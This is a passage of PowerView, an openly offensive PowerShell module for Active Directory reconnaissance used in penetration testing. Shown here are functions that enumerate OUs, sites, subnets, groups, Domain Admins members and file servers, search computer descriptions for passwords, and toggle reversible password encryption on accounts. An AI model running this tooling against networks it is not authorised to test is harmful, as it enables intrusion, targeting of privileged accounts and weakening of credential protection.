3867 if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") {
3868 # if reversible encryption is set, unset it
3869 Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
3870 }
3871
3872 # unset the forced password change
3873 Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1
3874 }
3875
3876 else {
3877
3878 if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") {
3879 # if the password is set to never expire, unset
3880 Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536
3881 }
3882
3883 if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") {
3884 # if reversible encryption is not set, set it
3885 Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
3886 }
3887
3888 # force the password to be changed on next login
3889 Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0
3890 }
3891 }
3892}
3893
3894
3895function Get-ComputerProperty {
3896<#
3897 .SYNOPSIS
3898 Returns a list of all computer object properties. If a property
3899 name is specified, it returns all [computer:property] values.
3900 Taken directly from @obscuresec's post:
3901 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
3902 .PARAMETER Properties
3903 Return property names for computers.
3904 .PARAMETER Domain
3905 The domain to query for computer properties, defaults to the current domain.
3906 .PARAMETER DomainController
3907 Domain controller to reflect LDAP queries through.
3908 .PARAMETER PageSize
3909 The PageSize to set for the LDAP searcher object.
3910 .PARAMETER Credential
3911 A [Management.Automation.PSCredential] object of alternate credentials
3912 for connection to the target domain.
3913 .EXAMPLE
3914 PS C:\> Get-ComputerProperty -Domain testing
3915
3916 Returns all user properties for computers in the 'testing' domain.
3917 .EXAMPLE
3918 PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location
3919
3920 Returns all an array of computer/ssn/lastlogin/location combinations
3921 for computers in the current domain.
3922 .LINK
3923 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
3924#>
3925
3926 [CmdletBinding()]
3927 param(
3928 [String[]]
3929 $Properties,
3930
3931 [String]
3932 $Domain,
3933
3934 [String]
3935 $DomainController,
3936
3937 [ValidateRange(1,10000)]
3938 [Int]
3939 $PageSize = 200,
3940
3941 [Management.Automation.PSCredential]
3942 $Credential
3943 )
3944
3945 if($Properties) {
3946 # extract out the set of all properties for each object
3947 $Properties = ,"name" + $Properties | Sort-Object -Unique
3948 Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties
3949 }
3950 else {
3951 # extract out just the property names
3952 Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"
3953 }
3954}
3955
3956
3957function Find-ComputerField {
3958<#
3959 .SYNOPSIS
3960 Searches computer object fields for a given word (default *pass*). Default
3961 field being searched is 'description'.
3962 Taken directly from @obscuresec's post:
3963 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
3964 .PARAMETER SearchTerm
3965 Term to search for, default of "pass".
3966 .PARAMETER SearchField
3967 User field to search in, default of "description".
3968 .PARAMETER ADSpath
3969 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3970 Useful for OU queries.
3971 .PARAMETER Domain
3972 Domain to search computer fields for, defaults to the current domain.
3973 .PARAMETER DomainController
3974 Domain controller to reflect LDAP queries through.
3975 .PARAMETER PageSize
3976 The PageSize to set for the LDAP searcher object.
3977 .PARAMETER Credential
3978 A [Management.Automation.PSCredential] object of alternate credentials
3979 for connection to the target domain.
3980 .EXAMPLE
3981 PS C:\> Find-ComputerField -SearchTerm backup -SearchField info
3982 Find computer accounts with "backup" in the "info" field.
3983#>
3984
3985 [CmdletBinding()]
3986 param(
3987 [Parameter(Position=0,ValueFromPipeline=$True)]
3988 [Alias('Term')]
3989 [String]
3990 $SearchTerm = 'pass',
3991
3992 [Alias('Field')]
3993 [String]
3994 $SearchField = 'description',
3995
3996 [String]
3997 $ADSpath,
3998
3999 [String]
4000 $Domain,
4001
4002 [String]
4003 $DomainController,
4004
4005 [ValidateRange(1,10000)]
4006 [Int]
4007 $PageSize = 200,
4008
4009 [Management.Automation.PSCredential]
4010 $Credential
4011 )
4012
4013 process {
4014 Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
4015 }
4016}
4017
4018
4019function Get-NetOU {
4020<#
4021 .SYNOPSIS
4022 Gets a list of all current OUs in a domain.
4023 .PARAMETER OUName
4024 The OU name to query for, wildcards accepted.
4025 .PARAMETER GUID
4026 Only return OUs with the specified GUID in their gplink property.
4027 .PARAMETER Domain
4028 The domain to query for OUs, defaults to the current domain.
4029 .PARAMETER DomainController
4030 Domain controller to reflect LDAP queries through.
4031 .PARAMETER ADSpath
4032 The LDAP source to search through.
4033 .PARAMETER FullData
4034 Switch. Return full OU objects instead of just object names (the default).
4035 .PARAMETER PageSize
4036 The PageSize to set for the LDAP searcher object.
4037 .PARAMETER Credential
4038 A [Management.Automation.PSCredential] object of alternate credentials
4039 for connection to the target domain.
4040 .EXAMPLE
4041 PS C:\> Get-NetOU
4042
4043 Returns the current OUs in the domain.
4044 .EXAMPLE
4045 PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local
4046
4047 Returns all OUs with "admin" in their name in the testlab.local domain.
4048 .EXAMPLE
4049 PS C:\> Get-NetOU -GUID 123-...
4050
4051 Returns all OUs with linked to the specified group policy object.
4052 .EXAMPLE
4053 PS C:\> "*admin*","*server*" | Get-NetOU
4054 Get the full OU names for the given search terms piped on the pipeline.
4055#>
4056
4057 [CmdletBinding()]
4058 Param (
4059 [Parameter(ValueFromPipeline=$True)]
4060 [String]
4061 $OUName = '*',
4062
4063 [String]
4064 $GUID,
4065
4066 [String]
4067 $Domain,
4068
4069 [String]
4070 $DomainController,
4071
4072 [String]
4073 $ADSpath,
4074
4075 [Switch]
4076 $FullData,
4077
4078 [ValidateRange(1,10000)]
4079 [Int]
4080 $PageSize = 200,
4081
4082 [Management.Automation.PSCredential]
4083 $Credential
4084 )
4085
4086 begin {
4087 $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
4088 }
4089 process {
4090 if ($OUSearcher) {
4091 if ($GUID) {
4092 # if we're filtering for a GUID in .gplink
4093 $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))"
4094 }
4095 else {
4096 $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"
4097 }
4098
4099 try {
4100 $Results = $OUSearcher.FindAll()
4101 $Results | Where-Object {$_} | ForEach-Object {
4102 if ($FullData) {
4103 # convert/process the LDAP fields for each result
4104 $OU = Convert-LDAPProperty -Properties $_.Properties
4105 $OU.PSObject.TypeNames.Add('PowerView.OU')
4106 $OU
4107 }
4108 else {
4109 # otherwise just returning the ADS paths of the OUs
4110 $_.properties.adspath
4111 }
4112 }
4113 $Results.dispose()
4114 $OUSearcher.dispose()
4115 }
4116 catch {
4117 Write-Warning $_
4118 }
4119 }
4120 }
4121}
4122
4123
4124function Get-NetSite {
4125<#
4126 .SYNOPSIS
4127 Gets a list of all current sites in a domain.
4128 .PARAMETER SiteName
4129 Site filter string, wildcards accepted.
4130 .PARAMETER Domain
4131 The domain to query for sites, defaults to the current domain.
4132 .PARAMETER DomainController
4133 Domain controller to reflect LDAP queries through.
4134 .PARAMETER ADSpath
4135 The LDAP source to search through.
4136 .PARAMETER GUID
4137 Only return site with the specified GUID in their gplink property.
4138 .PARAMETER FullData
4139 Switch. Return full site objects instead of just object names (the default).
4140 .PARAMETER PageSize
4141 The PageSize to set for the LDAP searcher object.
4142 .PARAMETER Credential
4143 A [Management.Automation.PSCredential] object of alternate credentials
4144 for connection to the target domain.
4145 .EXAMPLE
4146 PS C:\> Get-NetSite -Domain testlab.local -FullData
4147
4148 Returns the full data objects for all sites in testlab.local
4149#>
4150
4151 [CmdletBinding()]
4152 Param (
4153 [Parameter(ValueFromPipeline=$True)]
4154 [String]
4155 $SiteName = "*",
4156
4157 [String]
4158 $Domain,
4159
4160 [String]
4161 $DomainController,
4162
4163 [String]
4164 $ADSpath,
4165
4166 [String]
4167 $GUID,
4168
4169 [Switch]
4170 $FullData,
4171
4172 [ValidateRange(1,10000)]
4173 [Int]
4174 $PageSize = 200,
4175
4176 [Management.Automation.PSCredential]
4177 $Credential
4178 )
4179
4180 begin {
4181 $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize
4182 }
4183 process {
4184 if($SiteSearcher) {
4185
4186 if ($GUID) {
4187 # if we're filtering for a GUID in .gplink
4188 $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))"
4189 }
4190 else {
4191 $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))"
4192 }
4193
4194 try {
4195 $Results = $SiteSearcher.FindAll()
4196 $Results | Where-Object {$_} | ForEach-Object {
4197 if ($FullData) {
4198 # convert/process the LDAP fields for each result
4199 $Site = Convert-LDAPProperty -Properties $_.Properties
4200 $Site.PSObject.TypeNames.Add('PowerView.Site')
4201 $Site
4202 }
4203 else {
4204 # otherwise just return the site name
4205 $_.properties.name
4206 }
4207 }
4208 $Results.dispose()
4209 $SiteSearcher.dispose()
4210 }
4211 catch {
4212 Write-Verbose $_
4213 }
4214 }
4215 }
4216}
4217
4218
4219function Get-NetSubnet {
4220<#
4221 .SYNOPSIS
4222 Gets a list of all current subnets in a domain.
4223 .PARAMETER SiteName
4224 Only return subnets from the specified SiteName.
4225 .PARAMETER Domain
4226 The domain to query for subnets, defaults to the current domain.
4227 .PARAMETER DomainController
4228 Domain controller to reflect LDAP queries through.
4229 .PARAMETER ADSpath
4230 The LDAP source to search through.
4231 .PARAMETER FullData
4232 Switch. Return full subnet objects instead of just object names (the default).
4233 .PARAMETER PageSize
4234 The PageSize to set for the LDAP searcher object.
4235 .PARAMETER Credential
4236 A [Management.Automation.PSCredential] object of alternate credentials
4237 for connection to the target domain.
4238 .EXAMPLE
4239 PS C:\> Get-NetSubnet
4240
4241 Returns all subnet names in the current domain.
4242 .EXAMPLE
4243 PS C:\> Get-NetSubnet -Domain testlab.local -FullData
4244
4245 Returns the full data objects for all subnets in testlab.local
4246#>
4247
4248 [CmdletBinding()]
4249 Param (
4250 [Parameter(ValueFromPipeline=$True)]
4251 [String]
4252 $SiteName = "*",
4253
4254 [String]
4255 $Domain,
4256
4257 [String]
4258 $ADSpath,
4259
4260 [String]
4261 $DomainController,
4262
4263 [Switch]
4264 $FullData,
4265
4266 [ValidateRange(1,10000)]
4267 [Int]
4268 $PageSize = 200,
4269
4270 [Management.Automation.PSCredential]
4271 $Credential
4272 )
4273
4274 begin {
4275 $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize
4276 }
4277
4278 process {
4279 if($SubnetSearcher) {
4280
4281 $SubnetSearcher.filter="(&(objectCategory=subnet))"
4282
4283 try {
4284 $Results = $SubnetSearcher.FindAll()
4285 $Results | Where-Object {$_} | ForEach-Object {
4286 if ($FullData) {
4287 # convert/process the LDAP fields for each result
4288 Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" }
4289 }
4290 else {
4291 # otherwise just return the subnet name and site name
4292 if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) {
4293
4294 $SubnetProperties = @{
4295 'Subnet' = $_.properties.name[0]
4296 }
4297 try {
4298 $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0]
4299 }
4300 catch {
4301 $SubnetProperties['Site'] = 'Error'
4302 }
4303
4304 New-Object -TypeName PSObject -Property $SubnetProperties
4305 }
4306 }
4307 }
4308 $Results.dispose()
4309 $SubnetSearcher.dispose()
4310 }
4311 catch {
4312 Write-Warning $_
4313 }
4314 }
4315 }
4316}
4317
4318
4319function Get-DomainSID {
4320<#
4321 .SYNOPSIS
4322 Gets the SID for the domain.
4323 .PARAMETER Domain
4324 The domain to query, defaults to the current domain.
4325 .PARAMETER DomainController
4326 Domain controller to reflect LDAP queries through.
4327 .EXAMPLE
4328 C:\> Get-DomainSID -Domain TEST
4329
4330 Returns SID for the domain 'TEST'
4331#>
4332
4333 param(
4334 [String]
4335 $Domain,
4336
4337 [String]
4338 $DomainController
4339 )
4340
4341 $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid
4342 if($DCSID) {
4343 $DCSID.Substring(0, $DCSID.LastIndexOf('-'))
4344 }
4345 else {
4346 Write-Verbose "Error extracting domain SID for $Domain"
4347 }
4348}
4349
4350
4351function Get-NetGroup {
4352<#
4353 .SYNOPSIS
4354 Gets a list of all current groups in a domain, or all
4355 the groups a given user/group object belongs to.
4356 .PARAMETER GroupName
4357 The group name to query for, wildcards accepted.
4358 .PARAMETER SID
4359 The group SID to query for.
4360 .PARAMETER UserName
4361 The user name (or group name) to query for all effective
4362 groups of.
4363 .PARAMETER Filter
4364 A customized ldap filter string to use, e.g. "(description=*admin*)"
4365 .PARAMETER Domain
4366 The domain to query for groups, defaults to the current domain.
4367 .PARAMETER DomainController
4368 Domain controller to reflect LDAP queries through.
4369 .PARAMETER ADSpath
4370 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
4371 Useful for OU queries.
4372 .PARAMETER AdminCount
4373 Switch. Return group with adminCount=1.
4374 .PARAMETER FullData
4375 Switch. Return full group objects instead of just object names (the default).
4376 .PARAMETER RawSids
4377 Switch. Return raw SIDs when using "Get-NetGroup -UserName X"
4378 .PARAMETER PageSize
4379 The PageSize to set for the LDAP searcher object.
4380 .PARAMETER Credential
4381 A [Management.Automation.PSCredential] object of alternate credentials
4382 for connection to the target domain.
4383 .PARAMETER AllTypes
4384 By default we will retrieve only Security, not Distribution Groups.
4385 .EXAMPLE
4386 PS C:\> Get-NetGroup
4387 Returns the current security groups in the domain.
4388 .EXAMPLE
4389 PS C:\> Get-NetGroup -GroupName *admin*
4390 Returns all groups with "admin" in their group name.
4391 .EXAMPLE
4392 PS C:\> Get-NetGroup -Domain testing -FullData
4393 Returns full group data objects in the 'testing' domain
4394#>
4395
4396 [CmdletBinding()]
4397 param(
4398 [Parameter(ValueFromPipeline=$True)]
4399 [String]
4400 $GroupName = '*',
4401
4402 [String]
4403 $SID,
4404
4405 [String]
4406 $UserName,
4407
4408 [String]
4409 $Filter,
4410
4411 [String]
4412 $Domain,
4413
4414 [String]
4415 $DomainController,
4416
4417 [String]
4418 $ADSpath,
4419
4420 [Switch]
4421 $AdminCount,
4422
4423 [Switch]
4424 $FullData,
4425
4426 [Switch]
4427 $RawSids,
4428
4429 [Switch]
4430 $AllTypes,
4431
4432 [ValidateRange(1,10000)]
4433 [Int]
4434 $PageSize = 200,
4435
4436 [Management.Automation.PSCredential]
4437 $Credential
4438 )
4439
4440 begin {
4441 $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
4442 if (!$AllTypes)
4443 {
4444 $Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)"
4445 }
4446 }
4447
4448 process {
4449 if($GroupSearcher) {
4450
4451 if($AdminCount) {
4452 Write-Verbose "Checking for adminCount=1"
4453 $Filter += "(admincount=1)"
4454 }
4455
4456 if ($UserName) {
4457 # get the raw user object
4458 $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1
4459
4460 if($User) {
4461 # convert the user to a directory entry
4462 $UserDirectoryEntry = $User.GetDirectoryEntry()
4463
4464 # cause the cache to calculate the token groups for the user
4465 $UserDirectoryEntry.RefreshCache("tokenGroups")
4466
4467 $UserDirectoryEntry.TokenGroups | ForEach-Object {
4468 # convert the token group sid
4469 $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
4470
4471 # ignore the built in groups
4472 if($GroupSid -notmatch '^S-1-5-32-.*') {
4473 if($FullData) {
4474 $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
4475 $Group.PSObject.TypeNames.Add('PowerView.Group')
4476 $Group
4477 }
4478 else {
4479 if($RawSids) {
4480 $GroupSid
4481 }
4482 else {
4483 Convert-SidToName -SID $GroupSid
4484 }
4485 }
4486 }
4487 }
4488 }
4489 else {
4490 Write-Warning "UserName '$UserName' failed to resolve."
4491 }
4492 }
4493 else {
4494 if ($SID) {
4495 $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
4496 }
4497 else {
4498 $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
4499 }
4500
4501 $Results = $GroupSearcher.FindAll()
4502 $Results | Where-Object {$_} | ForEach-Object {
4503 # if we're returning full data objects
4504 if ($FullData) {
4505 # convert/process the LDAP fields for each result
4506 $Group = Convert-LDAPProperty -Properties $_.Properties
4507 $Group.PSObject.TypeNames.Add('PowerView.Group')
4508 $Group
4509 }
4510 else {
4511 # otherwise we're just returning the group name
4512 $_.properties.samaccountname
4513 }
4514 }
4515 $Results.dispose()
4516 $GroupSearcher.dispose()
4517 }
4518 }
4519 }
4520}
4521
4522
4523function Get-NetGroupMember {
4524<#
4525 .SYNOPSIS
4526 This function users [ADSI] and LDAP to query the current AD context
4527 or trusted domain for users in a specified group. If no GroupName is
4528 specified, it defaults to querying the "Domain Admins" group.
4529 This is a replacement for "net group 'name' /domain"
4530 .PARAMETER GroupName
4531 The group name to query for users.
4532 .PARAMETER SID
4533 The Group SID to query for users. If not given, it defaults to 512 "Domain Admins"
4534 .PARAMETER Filter
4535 A customized ldap filter string to use, e.g. "(description=*admin*)"
4536 .PARAMETER Domain
4537 The domain to query for group users, defaults to the current domain.
4538 .PARAMETER DomainController
4539 Domain controller to reflect LDAP queries through.
4540 .PARAMETER ADSpath
4541 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
4542 Useful for OU queries.
4543 .PARAMETER FullData
4544 Switch. Returns full data objects instead of just group/users.
4545 .PARAMETER Recurse
4546 Switch. If the group member is a group, recursively try to query its members as well.
4547 .PARAMETER UseMatchingRule
4548 Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.
4549 Much faster than manual recursion, but doesn't reveal cross-domain groups.
4550 .PARAMETER PageSize
4551 The PageSize to set for the LDAP searcher object.
4552 .PARAMETER Credential
4553 A [Management.Automation.PSCredential] object of alternate credentials
4554 for connection to the target domain.
4555 .EXAMPLE
4556 PS C:\> Get-NetGroupMember
4557
4558 Returns the usernames that of members of the "Domain Admins" domain group.
4559 .EXAMPLE
4560 PS C:\> Get-NetGroupMember -Domain testing -GroupName "Power Users"
4561
4562 Returns the usernames that of members of the "Power Users" group in the 'testing' domain.
4563 .LINK
4564 http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/
4565#>
4566
4567 [CmdletBinding()]
4568 param(
4569 [Parameter(ValueFromPipeline=$True)]
4570 [String]
4571 $GroupName,
4572
4573 [String]
4574 $SID,
4575
4576 [String]
4577 $Domain,
4578
4579 [String]
4580 $DomainController,
4581
4582 [String]
4583 $ADSpath,
4584
4585 [Switch]
4586 $FullData,
4587
4588 [Switch]
4589 $Recurse,
4590
4591 [Switch]
4592 $UseMatchingRule,
4593
4594 [ValidateRange(1,10000)]
4595 [Int]
4596 $PageSize = 200,
4597
4598 [Management.Automation.PSCredential]
4599 $Credential
4600 )
4601
4602 begin {
4603 if($DomainController) {
4604 $TargetDomainController = $DomainController
4605 }
4606 else {
4607 $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
4608 }
4609
4610 if($Domain) {
4611 $TargetDomain = $Domain
4612 }
4613 else {
4614 $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name
4615 }
4616
4617 # so this isn't repeated if users are passed on the pipeline
4618 $GroupSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
4619 }
4620
4621 process {
4622 if ($GroupSearcher) {
4623 if ($Recurse -and $UseMatchingRule) {
4624 # resolve the group to a distinguishedname
4625 if ($GroupName) {
4626 $Group = Get-NetGroup -AllTypes -GroupName $GroupName -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
4627 }
4628 elseif ($SID) {
4629 $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
4630 }
4631 else {
4632 # default to domain admins
4633 $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
4634 $Group = Get-NetGroup -AllTypes -SID $SID -Domain $TargetDomain -DomainController $TargetDomainController -Credential $Credential -FullData -PageSize $PageSize
4635 }
4636 $GroupDN = $Group.distinguishedname
4637 $GroupFoundName = $Group.samaccountname
4638
4639 if ($GroupDN) {
4640 $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
4641 $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))
4642
4643 $Members = $GroupSearcher.FindAll()
4644 $GroupFoundName = $GroupName
4645 }
4646 else {
4647 Write-Error "Unable to find Group"
4648 }
4649 }
4650 else {
4651 if ($GroupName) {
4652 $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
4653 }
4654 elseif ($SID) {
4655 $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
4656 }
4657 else {
4658 # default to domain admins
4659 $SID = (Get-DomainSID -Domain $TargetDomain -DomainController $TargetDomainController) + "-512"
4660 $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
4661 }
4662
4663 try {
4664 $Result = $GroupSearcher.FindOne()
4665 }
4666 catch {
4667 $Members = @()
4668 }
4669
4670 $GroupFoundName = ''
4671
4672 if ($Result) {
4673 $Members = $Result.properties.item("member")
4674
4675 if($Members.count -eq 0) {
4676
4677 $Finished = $False
4678 $Bottom = 0
4679 $Top = 0
4680
4681 while(!$Finished) {
4682 $Top = $Bottom + 1499
4683 $MemberRange="member;range=$Bottom-$Top"
4684 $Bottom += 1500
4685
4686 $GroupSearcher.PropertiesToLoad.Clear()
4687 [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
4688 [void]$GroupSearcher.PropertiesToLoad.Add("samaccountname")
4689 try {
4690 $Result = $GroupSearcher.FindOne()
4691 $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*"
4692 $Members += $Result.Properties.item($RangedProperty)
4693 $GroupFoundName = $Result.properties.item("samaccountname")[0]
4694
4695 if ($Members.count -eq 0) {
4696 $Finished = $True
4697 }
4698 }
4699 catch [System.Management.Automation.MethodInvocationException] {
4700 $Finished = $True
4701 }
4702 }
4703 }
4704 else {
4705 $GroupFoundName = $Result.properties.item("samaccountname")[0]
4706 $Members += $Result.Properties.item($RangedProperty)
4707 }
4708 }
4709 $GroupSearcher.dispose()
4710 }
4711
4712 $Members | Where-Object {$_} | ForEach-Object {
4713 # if we're doing the LDAP_MATCHING_RULE_IN_CHAIN recursion
4714 if ($Recurse -and $UseMatchingRule) {
4715 $Properties = $_.Properties
4716 }
4717 else {
4718 if($TargetDomainController) {
4719 $Result = [adsi]"LDAP://$TargetDomainController/$_"
4720 }
4721 else {
4722 $Result = [adsi]"LDAP://$_"
4723 }
4724 if($Result){
4725 $Properties = $Result.Properties
4726 }
4727 }
4728
4729 if($Properties) {
4730
4731 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype
4732
4733 if ($FullData) {
4734 $GroupMember = Convert-LDAPProperty -Properties $Properties
4735 }
4736 else {
4737 $GroupMember = New-Object PSObject
4738 }
4739
4740 $GroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
4741 $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName
4742
4743 if($Properties.objectSid) {
4744 $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
4745 }
4746 else {
4747 $MemberSID = $Null
4748 }
4749
4750 try {
4751 $MemberDN = $Properties.distinguishedname[0]
4752
4753 if (($MemberDN -match 'ForeignSecurityPrincipals') -and ($MemberDN -match 'S-1-5-21')) {
4754 try {
4755 if(-not $MemberSID) {
4756 $MemberSID = $Properties.cn[0]
4757 }
4758 $MemberSimpleName = Convert-SidToName -SID $MemberSID | Convert-ADName -InputType 'NT4' -OutputType 'Simple'
4759 if($MemberSimpleName) {
4760 $MemberDomain = $MemberSimpleName.Split('@')[1]
4761 }
4762 else {
4763 Write-Warning "Error converting $MemberDN"
4764 $MemberDomain = $Null
4765 }
4766 }
4767 catch {
4768 Write-Warning "Error converting $MemberDN"
4769 $MemberDomain = $Null
4770 }
4771 }
4772 else {
4773 # extract the FQDN from the Distinguished Name
4774 $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
4775 }
4776 }
4777 catch {
4778 $MemberDN = $Null
4779 $MemberDomain = $Null
4780 }
4781
4782 if ($Properties.samaccountname) {
4783 # forest users have the samAccountName set
4784 $MemberName = $Properties.samaccountname[0]
4785 }
4786 else {
4787 # external trust users have a SID, so convert it
4788 try {
4789 $MemberName = Convert-SidToName $Properties.cn[0]
4790 }
4791 catch {
4792 # if there's a problem contacting the domain to resolve the SID
4793 $MemberName = $Properties.cn
4794 }
4795 }
4796
4797 $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
4798 $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
4799 $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
4800 $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
4801 $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
4802 $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')
4803 $GroupMember
4804
4805 # if we're doing manual recursion
4806 if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
4807 if($FullData) {
4808 Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
4809 }
4810 else {
4811 Get-NetGroupMember -Domain $MemberDomain -DomainController $TargetDomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
4812 }
4813 }
4814 }
4815 }
4816 }
4817 }
4818}
4819
4820
4821function Get-NetFileServer {
4822<#
4823 .SYNOPSIS
4824 Returns a list of all file servers extracted from user
4825 homedirectory, scriptpath, and profilepath fields.
4826 .PARAMETER Domain
4827 The domain to query for user file servers, defaults to the current domain.
4828 .PARAMETER DomainController
4829 Domain controller to reflect LDAP queries through.
4830 .PARAMETER TargetUsers
4831 An array of users to query for file servers.
4832 .PARAMETER PageSize
4833 The PageSize to set for the LDAP searcher object.
4834 .PARAMETER Credential
4835 A [Management.Automation.PSCredential] object of alternate credentials
4836 for connection to the target domain.
4837 .EXAMPLE
4838 PS C:\> Get-NetFileServer
4839
4840 Returns active file servers.
4841 .EXAMPLE
4842 PS C:\> Get-NetFileServer -Domain testing
4843
4844 Returns active file servers for the 'testing' domain.
4845#>
4846
4847 [CmdletBinding()]
4848 param(
4849 [String]
4850 $Domain,
4851
4852 [String]
4853 $DomainController,
4854
4855 [String[]]
4856 $TargetUsers,
4857
4858 [ValidateRange(1,10000)]
4859 [Int]
4860 $PageSize = 200,
4861
4862 [Management.Automation.PSCredential]
4863 $Credential
4864 )
4865
4866 function SplitPath {
4867 # short internal helper to split UNC server paths
4868 param([String]$Path)
4869
4870 if ($Path -and ($Path.split("\\").Count -ge 3)) {
4871 $Temp = $Path.split("\\")[2]
4872 if($Temp -and ($Temp -ne '')) {
4873 $Temp
4874 }
4875 }
4876 }
4877 $filter = "(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(scriptpath=*)(homedirectory=*)(profilepath=*))"
4878 Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Filter $filter | Where-Object {$_} | Where-Object {
4879 # filter for any target users
4880 if($TargetUsers) {
4881 $TargetUsers -Match $_.samAccountName
4882 }
4883 else { $True }
4884 } | ForEach-Object {
4885 # split out every potential file server path
4886 if($_.homedirectory) {
4887 SplitPath($_.homedirectory)
4888 }
4889 if($_.scriptpath) {
4890 SplitPath($_.scriptpath)
4891 }
4892 if($_.profilepath) {
4893 SplitPath($_.profilepath)
4894 }
4895
4896 } | Where-Object {$_} | Sort-Object -Unique
4897}
4898
4899
4900function Get-DFSshare {
4901<#
4902 .SYNOPSIS
